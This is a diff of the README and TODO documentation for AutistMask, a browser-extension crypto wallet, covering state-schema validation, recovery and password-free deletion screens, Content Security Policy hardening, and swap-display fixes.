`tokenBalances[].decimals` is therefore the explorer's own answer and nothing
|
||||||
|
else, which is not the same question as the scale a screen should render at.
|
||||||
|
Anything that needs the second one calls `resolveTokenDecimals()` — the balance
|
||||||
|
list, the approval and swap lines, and the Send screen, which carries the
|
||||||
|
resolved scale onto the pending transaction for `transferAmount.js` to encode
|
||||||
|
and compare against. Reading the stored field directly instead answers `null`
|
||||||
|
for a bundled or tracked token the explorer merely omitted, which is not a
|
||||||
|
refusal the wallet has any reason to make.
|
||||||
|
|
||||||
#### Partial USD totals
|
#### Partial USD totals
|
||||||
|
|
||||||
Prices are fetched for the top 25 tokens only, so an address can hold assets the
|
Prices are fetched for the top 25 tokens only, so an address can hold assets the
|
||||||
@@ -736,6 +1006,91 @@ tokens with fewer than 1,000 holders" setting governs the transaction history
|
|||||||
and the send-screen token selector, not this list. Tracked tokens with a zero
|
and the send-screen token selector, not this list. Tracked tokens with a zero
|
||||||
balance are listed as well while "Show tracked tokens with zero balance" is on.
|
balance are listed as well while "Show tracked tokens with zero balance" is on.
|
||||||
|
|
||||||
|
#### Stored state and its version
|
||||||
|
|
||||||
|
The whole profile lives under a single extension-storage key, `autistmask`, and
|
||||||
|
carries a `schemaVersion` — `STATE_SCHEMA_VERSION` in
|
||||||
|
`src/shared/stateSchema.js`, currently `1`. Every write stamps it: the popup's
|
||||||
|
`saveState()` and the background's `updateState()` both do, so whichever context
|
||||||
|
wrote last, the record says which build's shape it is in.
|
||||||
|
|
||||||
|
Version 1 is the shape that shipped before versions existed, so a stored record
|
||||||
|
with no `schemaVersion` is version 1 rather than a defect: it loads normally and
|
||||||
|
is migrated in place by being stamped on the first write. An upgrade never shows
|
||||||
|
an existing user a warning about a profile that is perfectly good. The version
|
||||||
|
is bumped only when the MEANING of a stored field changes — a new field with a
|
||||||
|
sensible absent value is handled by `normalizePersisted()` and is not a bump,
|
||||||
|
because bumping for one would send every older install to StateRecovery for
|
||||||
|
nothing.
|
||||||
|
|
||||||
|
Every read of the record goes through `assertStateUsable()` first, on the raw
|
||||||
|
bytes, before normalization: `loadState()` for the popup and `getState()` for
|
||||||
|
the background. It refuses a record that is not an object, a `schemaVersion`
|
||||||
|
this build does not understand (a newer one included), a `wallets` that is not a
|
||||||
|
list of wallet records with address records in them, and a `networkId` that is
|
||||||
|
not a network in `src/shared/networks.js`. Refusing is the whole point — a
|
||||||
|
record the wallet cannot vouch for is never normalized, never written back, and
|
||||||
|
never half-loaded. The popup shows StateRecovery; a dApp gets a specific error
|
||||||
|
(`-32007`, an EIP-1474 server-error code the spec leaves unassigned) saying the
|
||||||
|
saved data cannot be read and that nothing was signed or sent, rather than the
|
||||||
|
generic `-32603` every request used to answer.
|
||||||
|
|
||||||
|
Every other field of the record is floored in `normalizePersisted()` rather than
|
||||||
|
gated, and the floor is not the same for every field. Some are type-checked as a
|
||||||
|
container AND entry by entry, because `[1, 2]` is a list, `{"0x…": "notalist"}`
|
||||||
|
is an object, and the dereference is one level below the container check; a
|
||||||
|
malformed entry is dropped, except in `networkEndpoints`, where the entry is
|
||||||
|
coerced so an unknown network's endpoints are not lost, and in `viewStack`,
|
||||||
|
where the stack is truncated at the first entry the popup will not reopen onto.
|
||||||
|
Some are type-checked as a scalar. The rest take the stored value verbatim,
|
||||||
|
because nothing dereferences them structurally.
|
||||||
|
|
||||||
|
Which field is which is not written in prose anywhere, deliberately.
|
||||||
|
`tests/persistedFieldContract.test.js` is the list: one row per persisted field,
|
||||||
|
naming the property that field's floor is claimed to have and proving it by
|
||||||
|
driving the real code with hostile values — and, for every field whose only
|
||||||
|
defence is that nothing dereferences it, by booting the real popup entry point
|
||||||
|
over that value onto every view the popup can reopen onto. That last part is
|
||||||
|
what makes the claim falsifiable, because this defect class lives on the restore
|
||||||
|
path rather than on the home screen: whenever one of those boots reaches a
|
||||||
|
structural dereference on the view it restored onto, `make check` fails —
|
||||||
|
including a dereference that takes two corrupted fields at once, because the
|
||||||
|
verdict is the combined boot and the per-field re-boot that names a culprit can
|
||||||
|
only decorate the message. Each swept field is driven at both polarities, or
|
||||||
|
proven unable to be falsy after the floor, since a value nothing writes is
|
||||||
|
wrong-typed and therefore truthy and would otherwise leave every `if (!state.x)`
|
||||||
|
branch unentered. So does a field that gains a floor while its row still claims
|
||||||
|
it has none, and so does a field added to `PERSISTED_FIELDS` with no row at all.
|
||||||
|
What the boots do not drive is every combination: four value combinations per
|
||||||
|
view, not the product of the twelve swept fields. The last of the four is itself
|
||||||
|
a mix — every falsy-capable field falsy against the ones that cannot be falsy —
|
||||||
|
so many two-field interactions are driven; one needing a pairing none of the
|
||||||
|
four produces is not. Nor is anything no stored record reaches by itself — a
|
||||||
|
view only forward navigation opens, and anything behind a click. The per-field
|
||||||
|
justification that used to live in the header of `src/shared/stateSchema.js`
|
||||||
|
shipped a false claim in three consecutive changes, each caught only by a
|
||||||
|
reviewer re-deriving thirty fields by hand.
|
||||||
|
|
||||||
|
The `allowedSites` case is why the entry check is not optional. A stored
|
||||||
|
`{"0x…": "notalist"}` is a well-formed object holding a malformed entry: it
|
||||||
|
passed the gate, rendered a completely healthy popup, and then threw inside
|
||||||
|
`saveState()`'s per-hostname merge, so every save from that moment on failed and
|
||||||
|
the user went on operating a wallet that was persisting nothing
|
||||||
|
([#362](https://git.eeqj.de/sneak/AutistMask/issues/362)). A save that fails is
|
||||||
|
now also reported rather than swallowed: `onSaveFailure()` in
|
||||||
|
`src/shared/state.js` is called for every failed save, awaited or not, and the
|
||||||
|
popup puts up a persistent "NOT SAVED" banner (`showSaveFailureBanner()` in
|
||||||
|
`src/popup/views/helpers.js`). Storage can still fail for reasons no floor
|
||||||
|
covers — a quota, a revoked permission, a record a newer build wrote — and the
|
||||||
|
wallet must never look healthy while that is true.
|
||||||
|
|
||||||
|
The `networkId` check is not cosmetic: that value is an object KEY into
|
||||||
|
`state.networkEndpoints`, so an unvalidated `"__proto__"` would set the map's
|
||||||
|
prototype instead of an own key and the user's endpoint would silently not be
|
||||||
|
recorded. Every key test in the gate is an own-property test for that reason,
|
||||||
|
and `networkById()` throws on an id it does not know rather than quietly
|
||||||
|
answering mainnet.
|
||||||
|
|
||||||
#### Navigation
|
#### Navigation
|
||||||
|
|
||||||
The main view shows all addresses grouped by wallet, with ETH balances inline.
|
The main view shows all addresses grouped by wallet, with ETH balances inline.
|
||||||
@@ -762,14 +1117,18 @@ Three elements sit outside the screens and are present on all of them: the title
|
|||||||
bar ("AutistMask by @sneak" plus the Settings gear), the flash message line
|
bar ("AutistMask by @sneak" plus the Settings gear), the flash message line
|
||||||
under it, and the red banner at the very top that appears on a debug build, when
|
under it, and the red banner at the very top that appears on a debug build, when
|
||||||
runtime debug mode is on, or when the active network is a testnet. They are not
|
runtime debug mode is on, or when the active network is a testnet. They are not
|
||||||
repeated in the element lists below.
|
repeated in the element lists below. StateRecovery is the one screen they are
|
||||||
|
not all present on: it hides the Settings gear, because it is shown precisely
|
||||||
|
when there is no profile for the screens behind that gear to render from.
|
||||||
|
|
||||||
Closing and reopening the popup returns to the screen the user was last on only
|
Closing and reopening the popup returns to the screen the user was last on only
|
||||||
for the views listed in `RESTORABLE_VIEWS` (`src/popup/restorableViews.js`).
|
for the views listed in `RESTORABLE_VIEWS` (`src/shared/restorableViews.js`).
|
||||||
Every other screen falls back to Home. The screens that display a secret —
|
Every other screen falls back to Home. The screens that display a secret —
|
||||||
ExportPrivKey and ShowRecoveryPhrase — are deliberately absent from that list,
|
ExportPrivKey and ShowRecoveryPhrase — are deliberately absent from that list,
|
||||||
so the popup can never reopen onto one of them with no password prompt in front
|
so the popup can never reopen onto one of them with no password prompt in front
|
||||||
of it.
|
of it. So are the two that destroy one, DeleteWallet and
|
||||||
|
DeleteWalletLostPassword: a popup reopened by accident must not land on a screen
|
||||||
|
whose button erases key material.
|
||||||
|
|
||||||
A reopened popup renders the wallet list and the one screen it restores onto,
|
A reopened popup renders the wallet list and the one screen it restores onto,
|
||||||
and nothing else, so every screen on the stack behind that one is still the
|
and nothing else, so every screen on the stack behind that one is still the
|
||||||
@@ -778,6 +1137,14 @@ than only unhiding it, through the same dispatch and data guards as the restore
|
|||||||
(`src/popup/viewRouter.js`), and falls back to Home when the state the target
|
(`src/popup/viewRouter.js`), and falls back to Home when the state the target
|
||||||
would render is gone.
|
would render is gone.
|
||||||
|
|
||||||
|
Those data guards check the ENTRIES of the stored `viewData`, not just the one
|
||||||
|
field each branch gates on, and the same goes for `selectedWallet` and
|
||||||
|
`selectedAddress`. `restoreView()` is not inside a `try`, so a `TypeError` in a
|
||||||
|
renderer skips the rest of popup init and leaves the user with no view, no
|
||||||
|
message and no control — the same blank popup by a longer route. Anything the
|
||||||
|
restore path dereferences is therefore either floored in `normalizePersisted()`
|
||||||
|
or refused by the guard, and the screen falls back to Home instead.
|
||||||
|
|
||||||
It renders only a screen this page load has not rendered yet. Forward navigation
|
It renders only a screen this page load has not rendered yet. Forward navigation
|
||||||
renders as it goes, and `viewRouter.js` records every screen that reaches
|
renders as it goes, and `viewRouter.js` records every screen that reaches
|
||||||
`showView()`, so "Back" onto a screen already on the page unhides it and nothing
|
`showView()`, so "Back" onto a screen already on the page unhides it and nothing
|
||||||
@@ -792,7 +1159,10 @@ exit from that screen rather than only on its "Back" button, so nothing secret
|
|||||||
survives in a hidden view once the user has navigated away by any route. That
|
survives in a hidden view once the user has navigated away by any route. That
|
||||||
covers the revealed private key and recovery phrase, the recovery phrase,
|
covers the revealed private key and recovery phrase, the recovery phrase,
|
||||||
private key or extended private key entered on AddWallet, and the password typed
|
private key or extended private key entered on AddWallet, and the password typed
|
||||||
on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
|
on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign. DeleteWalletLostPassword
|
||||||
|
registers one as well, for the neighbouring reason rather than that one: a
|
||||||
|
wallet name is not a secret, but a typed confirmation left standing in a hidden
|
||||||
|
view would leave a wallet one click from deletion.
|
||||||
|
|
||||||
#### Welcome (`welcome`)
|
#### Welcome (`welcome`)
|
||||||
|
|
||||||
@@ -853,7 +1223,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
|
|||||||
- **From xprv**: instruction text and a masked extended private key
|
- **From xprv**: instruction text and a masked extended private key
|
||||||
input
|
input
|
||||||
- Password + confirm password inputs, with a hint line whose wording depends
|
- Password + confirm password inputs, with a hint line whose wording depends
|
||||||
on the selected tab
|
on the selected tab. Every wording says that the password cannot be
|
||||||
|
recovered or reset and names what the only backup of the wallet is — the
|
||||||
|
recovery phrase, the private key or the extended private key, according to
|
||||||
|
the tab. This is the only warning the user gets before the wallet exists;
|
||||||
|
without it, the lost-password route on DeleteWallet is the first they
|
||||||
|
would hear of it. The hint line reserves its height, so switching tabs
|
||||||
|
cannot move the password fields under the pointer.
|
||||||
- "Import" button
|
- "Import" button
|
||||||
- **Transitions**:
|
- **Transitions**:
|
||||||
- "Import" with a valid entry and a matching password of at least 12
|
- "Import" with a valid entry and a matching password of at least 12
|
||||||
@@ -1208,6 +1584,7 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
|
|||||||
- Error line
|
- Error line
|
||||||
- Password input
|
- Password input
|
||||||
- "Confirm Delete" button
|
- "Confirm Delete" button
|
||||||
|
- An underlined "I have lost my password" control
|
||||||
- **Transitions**:
|
- **Transitions**:
|
||||||
- "Confirm Delete" (correct password, other wallets remain) → deletes the
|
- "Confirm Delete" (correct password, other wallets remain) → deletes the
|
||||||
wallet and its site permissions, then → **Settings** with a "Wallet
|
wallet and its site permissions, then → **Settings** with a "Wallet
|
||||||
@@ -1217,10 +1594,54 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
|
|||||||
- Either way, the active address moves only if it belonged to the deleted
|
- Either way, the active address moves only if it belonged to the deleted
|
||||||
wallet, and `AUTISTMASK_ACTIVE_CHANGED` is broadcast when it does
|
wallet, and `AUTISTMASK_ACTIVE_CHANGED` is broadcast when it does
|
||||||
(`src/shared/walletDelete.js`)
|
(`src/shared/walletDelete.js`)
|
||||||
- "Confirm Delete" (wrong password) → "Wrong password." on the error line,
|
- "Confirm Delete" (wrong password) → "That password is incorrect. Please
|
||||||
nothing deleted
|
try again." on the error line, nothing deleted
|
||||||
|
- "I have lost my password" → **DeleteWalletLostPassword**
|
||||||
- "Back" → previous screen (Settings)
|
- "Back" → previous screen (Settings)
|
||||||
|
|
||||||
|
#### DeleteWalletLostPassword (`delete-wallet-lost-password`)
|
||||||
|
|
||||||
|
- **When**: User tapped "I have lost my password" on DeleteWallet.
|
||||||
|
- **Why it exists**: without it, a user who has forgotten the password but still
|
||||||
|
holds the recovery phrase has no route back into the product at all. Deletion
|
||||||
|
was password-gated, and importing the phrase again is refused as a duplicate
|
||||||
|
xpub by `findWalletByXpub()` while the wallet is still stored, so the only
|
||||||
|
escape was clearing extension storage through browser internals — which takes
|
||||||
|
every other wallet with it.
|
||||||
|
- **Elements**:
|
||||||
|
- "Back" button, "Delete Wallet Without a Password" heading
|
||||||
|
- A statement that the password cannot be recovered or reset, so the wallet
|
||||||
|
cannot be unlocked again, and that no password is needed to delete it
|
||||||
|
- What deletion does and does not do: it erases the copy of the key stored
|
||||||
|
on this device; nothing on chain changes and no money is moved
|
||||||
|
- The route back — adding the wallet again with the recovery phrase and a
|
||||||
|
new password — and, in bold, that without that phrase written down the
|
||||||
|
deletion loses everything the wallet holds, forever
|
||||||
|
- That the other wallets are not touched
|
||||||
|
- The wallet's name, and a text input asking for it to be typed back
|
||||||
|
- Error line
|
||||||
|
- "Delete This Wallet Forever" button
|
||||||
|
- **Transitions**:
|
||||||
|
- "Delete This Wallet Forever" (name typed correctly) → the same two
|
||||||
|
outcomes as "Confirm Delete" above, through the same `finishDelete()`, so
|
||||||
|
the selection repair, permission cleanup and `AUTISTMASK_ACTIVE_CHANGED`
|
||||||
|
broadcast are identical on both routes
|
||||||
|
- "Delete This Wallet Forever" (name does not match) → "That is not the name
|
||||||
|
of this wallet. Type <name> to confirm." on the error line, nothing
|
||||||
|
deleted
|
||||||
|
- "Back" → **DeleteWallet**, re-entered through its `show()` so the wallet
|
||||||
|
selection comes back with it. The two delete screens are siblings rather
|
||||||
|
than parent and child: nothing is pushed on the way here, so both have
|
||||||
|
Settings as their Back target.
|
||||||
|
- **Deliberately not password-gated.** A password in front of _discarding_ a
|
||||||
|
secret protects nobody: an attacker at the popup who wants the wallet gone can
|
||||||
|
uninstall the extension, so the only person such a gate stops is the owner who
|
||||||
|
forgot it. The typed name is a check that the user knows which wallet they are
|
||||||
|
on, not a secret, so it is matched with surrounding spaces and letter case
|
||||||
|
ignored.
|
||||||
|
- Not in `RESTORABLE_VIEWS`, alongside `delete-wallet-confirm`: a popup reopened
|
||||||
|
by accident must not land on a screen whose button erases key material.
|
||||||
|
|
||||||
#### DeleteAddress (`delete-address-confirm`)
|
#### DeleteAddress (`delete-address-confirm`)
|
||||||
|
|
||||||
- **When**: User tapped the `[x]` next to an address on Home. Offered only on HD
|
- **When**: User tapped the `[x]` next to an address on Home. Offered only on HD
|
||||||
@@ -1237,13 +1658,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
|
|||||||
refused: "+" derives the next unused index (`nextIndex` is a high-water
|
refused: "+" derives the next unused index (`nextIndex` is a high-water
|
||||||
mark), and re-importing the wallet's key material is rejected as a
|
mark), and re-importing the wallet's key material is rejected as a
|
||||||
duplicate by `findWalletByXpub` while the wallet is still present. What
|
duplicate by `findWalletByXpub` while the wallet is still present. What
|
||||||
works is deleting the whole wallet in Settings — password-gated, and it
|
works is deleting the whole wallet in Settings — which destroys the stored
|
||||||
destroys the stored secret — then importing again, whereupon
|
secret — then importing again, whereupon `scanForAddresses()` rediscovers
|
||||||
`scanForAddresses()` rediscovers the address **only if it has on-chain
|
the address **only if it has on-chain activity**. An address that was
|
||||||
activity**. An address that was never used is not found by that scan. The
|
never used is not found by that scan. The text is written by
|
||||||
text is written by `recoveryPathText()` rather than sitting in
|
`recoveryPathText()` rather than sitting in `index.html`, so it can name
|
||||||
`index.html`, so it can name the wallet's own kind of key material: an
|
the wallet's own kind of key material: an xprv wallet has no recovery
|
||||||
xprv wallet has no recovery phrase to re-import.
|
phrase to re-import.
|
||||||
- A warning when the address holds anything, ETH or any tracked ERC-20,
|
- A warning when the address holds anything, ETH or any tracked ERC-20,
|
||||||
followed by the holdings themselves via `balanceLinesForAddress()` and the
|
followed by the holdings themselves via `balanceLinesForAddress()` and the
|
||||||
USD total via `formatAddressTotal()` (see
|
USD total via `formatAddressTotal()` (see
|
||||||
@@ -1379,6 +1800,48 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
|
|||||||
- Popup window closed without answering → the request is rejected with
|
- Popup window closed without answering → the request is rejected with
|
||||||
EIP-1193 code 4001
|
EIP-1193 code 4001
|
||||||
|
|
||||||
|
#### StateRecovery (`state-recovery`)
|
||||||
|
|
||||||
|
- **When**: `loadState()` refused the stored profile, so the popup has no
|
||||||
|
profile at all. It is the only screen reached without one, and the only one
|
||||||
|
that never appears during ordinary use.
|
||||||
|
- **Why it exists**: a record the wallet cannot read used to render nothing — no
|
||||||
|
view, no message, no control — while every dApp call answered a generic
|
||||||
|
internal error, and no reset or wipe control existed anywhere in the product.
|
||||||
|
The only escape was clearing extension storage through browser internals
|
||||||
|
([#311](https://git.eeqj.de/sneak/AutistMask/issues/311)).
|
||||||
|
- **Elements**:
|
||||||
|
- "Saved Data Cannot Be Read" heading, and a statement that nothing has been
|
||||||
|
changed or erased and nothing can be signed or sent
|
||||||
|
- The problem, in one sentence naming what is wrong with the record
|
||||||
|
- "Export Saved Data" button, and the read-only text box it fills
|
||||||
|
- What erasing does and does not do, in bold: every wallet stored in this
|
||||||
|
browser is deleted; nothing on chain changes and no money is moved
|
||||||
|
- A text input asking for `ERASE MY WALLET` to be typed back
|
||||||
|
- Error line
|
||||||
|
- "Erase Saved Data" button
|
||||||
|
- **Transitions**:
|
||||||
|
- "Export Saved Data" → the raw stored record, verbatim, in the text box on
|
||||||
|
the screen, and a downloaded `autistmask-saved-data.json` where the
|
||||||
|
browser allows one. The box is filled first and never depends on the
|
||||||
|
download: an export that can fail is not an export.
|
||||||
|
- "Erase Saved Data" (phrase typed) → the stored record is removed and the
|
||||||
|
popup reloads into **Welcome**
|
||||||
|
- "Erase Saved Data" (phrase not typed) → "Type ERASE MY WALLET to confirm.
|
||||||
|
Nothing was erased." on the error line
|
||||||
|
- **No other control is reachable.** The Settings gear is hidden while this
|
||||||
|
screen is up, because every screen behind it renders from the profile that
|
||||||
|
could not be read, and `showView()` is not used to raise it for the same
|
||||||
|
reason — it reads and writes the state singleton.
|
||||||
|
- **Both controls are required.** An export with no reset leaves the user
|
||||||
|
looking at a broken profile with no way to use the wallet again; a reset with
|
||||||
|
no export destroys the only copy of a record that may hold recoverable key
|
||||||
|
material. The typed phrase is the same barrier DeleteWalletLostPassword uses,
|
||||||
|
and for the same reason: there is no password to gate this with, since there
|
||||||
|
is no profile to check one against.
|
||||||
|
- Not in `RESTORABLE_VIEWS`: it is never persisted as the current view, because
|
||||||
|
nothing on this path writes state at all.
|
||||||
|
|
||||||
### External Services
|
### External Services
|
||||||
|
|
||||||
AutistMask is not a fully self-contained offline tool. It necessarily
|
AutistMask is not a fully self-contained offline tool. It necessarily
|
||||||
@@ -1464,10 +1927,44 @@ policy, but as of now there are none.
|
|||||||
|
|
||||||
### Content Security Policy
|
### Content Security Policy
|
||||||
|
|
||||||
Both manifests declare the same policy for extension pages —
|
Both manifests declare the same policy for extension pages, as an object under
|
||||||
`script-src 'self' 'wasm-unsafe-eval'; object-src 'self'` — as an object under
|
|
||||||
`content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as
|
`content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as
|
||||||
a bare string in `manifest/firefox.json` (MV2).
|
a bare string in `manifest/firefox.json` (MV2):
|
||||||
|
|
||||||
|
```
|
||||||
|
default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self';
|
||||||
|
style-src 'self' 'unsafe-inline'; img-src 'self' data:;
|
||||||
|
connect-src 'self' https: http:; frame-src 'none'; form-action 'none';
|
||||||
|
base-uri 'none'
|
||||||
|
```
|
||||||
|
|
||||||
|
`default-src 'self'` is the floor. Without it the policy governed script and
|
||||||
|
plugins only, and everything else — frames above all — was unrestricted, which
|
||||||
|
is what let an unescaped token symbol paint a cross-origin iframe over the
|
||||||
|
wallet's own UI. Escaping is the primary fix for that (see
|
||||||
|
`src/shared/html.js`); this is the second line, so an escape that does slip
|
||||||
|
cannot reach the network.
|
||||||
|
|
||||||
|
Four directives are looser than `'self'`, each for a reason that does not
|
||||||
|
generalise:
|
||||||
|
|
||||||
|
- `style-src 'unsafe-inline'` — `src/popup/index.html` and the view helpers set
|
||||||
|
presentation through `style="..."` attributes, which CSP blocks without this.
|
||||||
|
Chrome enforces `style-src` on attributes, not only on `<style>` blocks, and
|
||||||
|
Firefox has never implemented `style-src-attr`, so there is no narrower
|
||||||
|
spelling that works on both targets. It permits inline **style**; script stays
|
||||||
|
under `script-src`, which does not allow `'unsafe-inline'`.
|
||||||
|
- `img-src data:` — identicons are generated in the popup by
|
||||||
|
`ethereum-blockies-base64` and assigned to `img.src` as `data:` PNGs.
|
||||||
|
- `connect-src https: http:` — the RPC endpoint is user-configurable and a local
|
||||||
|
node over `http://127.0.0.1` is a supported configuration, which the Firefox
|
||||||
|
end-to-end suite depends on. The wallet's outbound traffic is constrained by
|
||||||
|
what it is written to contact (see External Communication), not by this
|
||||||
|
directive.
|
||||||
|
- `frame-src 'none'`, `form-action 'none'`, `base-uri 'none'` — named rather
|
||||||
|
than inherited. `form-action` and `base-uri` do not fall back to `default-src`
|
||||||
|
at all, so they would have stayed unrestricted; `frame-src 'none'` is what
|
||||||
|
refuses the framed-overlay attack outright.
|
||||||
|
|
||||||
`'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly
|
`'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly
|
||||||
build and a `wasm2js` translation of it in one file, tries WASM first, and
|
build and a `wasm2js` translation of it in one file, tries WASM first, and
|
||||||
@@ -1485,9 +1982,10 @@ strings, not inline script, not remote script. Using it requires already
|
|||||||
executing script in an extension page, which is complete compromise on its own.
|
executing script in an extension page, which is complete compromise on its own.
|
||||||
`'unsafe-eval'` is a different proposition and is not granted.
|
`'unsafe-eval'` is a different proposition and is not granted.
|
||||||
|
|
||||||
The grant is pinned in both directions. `tests/manifest.test.js` asserts the
|
The policy is pinned in both directions. `tests/manifest.test.js` asserts the
|
||||||
exact token set in both manifests, so dropping `'wasm-unsafe-eval'` (a silent
|
exact directive set and the exact token set of each directive in both manifests,
|
||||||
20x regression on the key derivation) and adding anything beyond it both fail
|
so dropping `'wasm-unsafe-eval'` (a silent 20x regression on the key
|
||||||
|
derivation), dropping `default-src`, and adding anything anywhere all fail
|
||||||
`make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM
|
`make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM
|
||||||
backend, and `make test-e2e` compiles a WebAssembly module inside the real popup
|
backend, and `make test-e2e` compiles a WebAssembly module inside the real popup
|
||||||
under the real manifest.
|
under the real manifest.
|
||||||
|
|||||||
413
TODO.md
413
TODO.md
@@ -25,7 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
|
|||||||
milestone is in flight on `next`; its `next` -> `main` PR is
|
milestone is in flight on `next`; its `next` -> `main` PR is
|
||||||
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
|
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
|
||||||
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
|
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
|
||||||
`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
|
`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
|
||||||
|
hold exactly the regular files and symlinks that build emitted, with `DEBUG`
|
||||||
compiled off.
|
compiled off.
|
||||||
|
|
||||||
The backlog lives on the
|
The backlog lives on the
|
||||||
@@ -44,6 +45,416 @@ but the review is broader than any of them.
|
|||||||
|
|
||||||
# Completed Steps
|
# Completed Steps
|
||||||
|
|
||||||
|
- 2026-08-23: Both manifests declare toolbar icons, and real PNGs at
|
||||||
|
16/32/48/128 ship inside both archives
|
||||||
|
([#371](https://git.eeqj.de/sneak/AutistMask/issues/371)). Neither manifest
|
||||||
|
had an `icons` block, so both browsers drew a generic puzzle piece — the first
|
||||||
|
thing the owner sees on every launch, and how a user tells a real extension
|
||||||
|
from a look-alike. The sizes `build.js` copies into each browser directory are
|
||||||
|
read out of the manifest that ships next to them rather than from a second
|
||||||
|
list, so a declared size `icons/` does not hold fails `make build`;
|
||||||
|
`script/lib/package.js` already resolves `.png` references, so an icon that
|
||||||
|
reached a manifest but not the archive fails packaging. The artwork is
|
||||||
|
original: a flat dark-navy rounded field with a teal triangular "A", drawn
|
||||||
|
from geometry and rasterised into PNG, nothing traced or downloaded.
|
||||||
|
- 2026-08-23: A persisted container whose ENTRIES were dereferenced unchecked no
|
||||||
|
longer reaches a `.map()` or a `.toLowerCase()`
|
||||||
|
([#362](https://git.eeqj.de/sneak/AutistMask/issues/362)). `allowedSites` was
|
||||||
|
the worst shape available: a stored `{"0x…": "notalist"}` passed the gate,
|
||||||
|
rendered a completely healthy popup, and then threw inside `saveState()`'s
|
||||||
|
per-hostname merge, so every save from that moment on failed silently and the
|
||||||
|
user went on operating a wallet that was persisting nothing — measured as
|
||||||
|
`chrome.storage.local.set` never being called at all. `deniedSites` has the
|
||||||
|
same shape, `fraudContracts` the same class with a milder consequence, and the
|
||||||
|
sweep for the class turned up `selectedToken`, `rpcUrl` (handed whole to
|
||||||
|
`new JsonRpcProvider()`, which throws synchronously outside any `try`), the
|
||||||
|
entries of `viewData` (four restore branches gate on one truthy field and then
|
||||||
|
dereference an address), and `selectedWallet`/`selectedAddress` (a stored
|
||||||
|
`"map"` is TRUTHY against a real Array, so the restore guard does not
|
||||||
|
short-circuit). All of them are now floored in `src/shared/persistedState.js`
|
||||||
|
or refused by the per-branch guards in `src/popup/viewRouter.js`. Separately,
|
||||||
|
a save that fails is no longer swallowed: `onSaveFailure()` in
|
||||||
|
`src/shared/state.js` reports every failed save, awaited or not, and the popup
|
||||||
|
raises a persistent "NOT SAVED" banner. The hand-written per-field
|
||||||
|
justification in the header of `src/shared/stateSchema.js` — which had shipped
|
||||||
|
a false claim in three consecutive changes — is replaced by
|
||||||
|
`tests/persistedFieldContract.test.js`, one row per persisted field, each
|
||||||
|
proven by driving the real code with hostile values — and, for a field whose
|
||||||
|
only defence is that nothing dereferences it, by booting the real popup entry
|
||||||
|
point over that value onto every view the popup can reopen onto, since that is
|
||||||
|
the path this whole class of defect lives on. Each such field is driven at
|
||||||
|
both polarities — a value nothing writes is wrong-typed and so truthy, so a
|
||||||
|
falsy slot is driven too, or the field is proven unable to be falsy after the
|
||||||
|
floor. A field with no row, a field that gains a floor while its row still
|
||||||
|
claims it has none, and any structural dereference one of those boots reaches
|
||||||
|
on the view it restored onto now all fail `make check` — including a
|
||||||
|
dereference that takes two corrupted fields at once, because the verdict is
|
||||||
|
the combined boot and the per-field re-boot that names a culprit can only
|
||||||
|
decorate the message. What is not driven is every combination: four value
|
||||||
|
combinations per view rather than the product of the twelve swept fields, so
|
||||||
|
an interaction needing a pairing none of the four produces goes unseen, as
|
||||||
|
does anything no stored record reaches by itself.
|
||||||
|
- 2026-08-23: A swap amount and the token it is counted in now always come from
|
||||||
|
the same hop, on both sides of the approval screen
|
||||||
|
([#359](https://git.eeqj.de/sneak/AutistMask/issues/359) and
|
||||||
|
[#364](https://git.eeqj.de/sneak/AutistMask/issues/364), the output and input
|
||||||
|
halves of one gate, fixed as one unit). `src/shared/uniswap.js` gated the
|
||||||
|
token and the amount on truthiness and independently; an address is never
|
||||||
|
falsy once set but an amount of `0n` is, so a hop supplying a zero amount
|
||||||
|
fixed the token and left the amount open, and the next hop's figure was then
|
||||||
|
rendered against the first hop's token at that token's scale — 0.5 WETH shown
|
||||||
|
as `500000000000.0000 USDT`, and an earlier hop's `Min. received` shown for a
|
||||||
|
final leg that guarantees nothing. Both sides are now set as a pair through
|
||||||
|
explicit presence, a zero slippage floor reads `None (no minimum guaranteed)`,
|
||||||
|
and V4's `OPEN_DELTA` (an `amountIn` of zero, which `V4Router` reads as "swap
|
||||||
|
the whole open credit") reads `All available (V4 open delta)` instead of
|
||||||
|
`0.0000`.
|
||||||
|
- 2026-08-23: A swap whose input token the calldata never named is said to be
|
||||||
|
unknown instead of being called ETH
|
||||||
|
([#357](https://git.eeqj.de/sneak/AutistMask/issues/357)), the twin on the
|
||||||
|
input side of [#353](https://git.eeqj.de/sneak/AutistMask/issues/353). A null
|
||||||
|
`inputToken` rendered as `Token In: ETH (native)` and titled the swap
|
||||||
|
`Swap ETH -> X`, asserting the user was paying native ETH when nothing in the
|
||||||
|
calldata said so. The null-means-ETH collapse is now gone from `tokenInfo()`
|
||||||
|
itself rather than guarded at each call site: null is refused, and native ETH
|
||||||
|
keeps arriving as the explicit zero address that `WRAP_ETH` and V4's
|
||||||
|
`Currency.wrap(address(0))` both use.
|
||||||
|
- 2026-08-23: A swap whose output token the calldata never named is said to be
|
||||||
|
unknown instead of being called ETH
|
||||||
|
([#353](https://git.eeqj.de/sneak/AutistMask/issues/353)). `tokenInfo(null)`
|
||||||
|
answers `{symbol: "ETH", decimals: 18}`, and a V4 step could take the
|
||||||
|
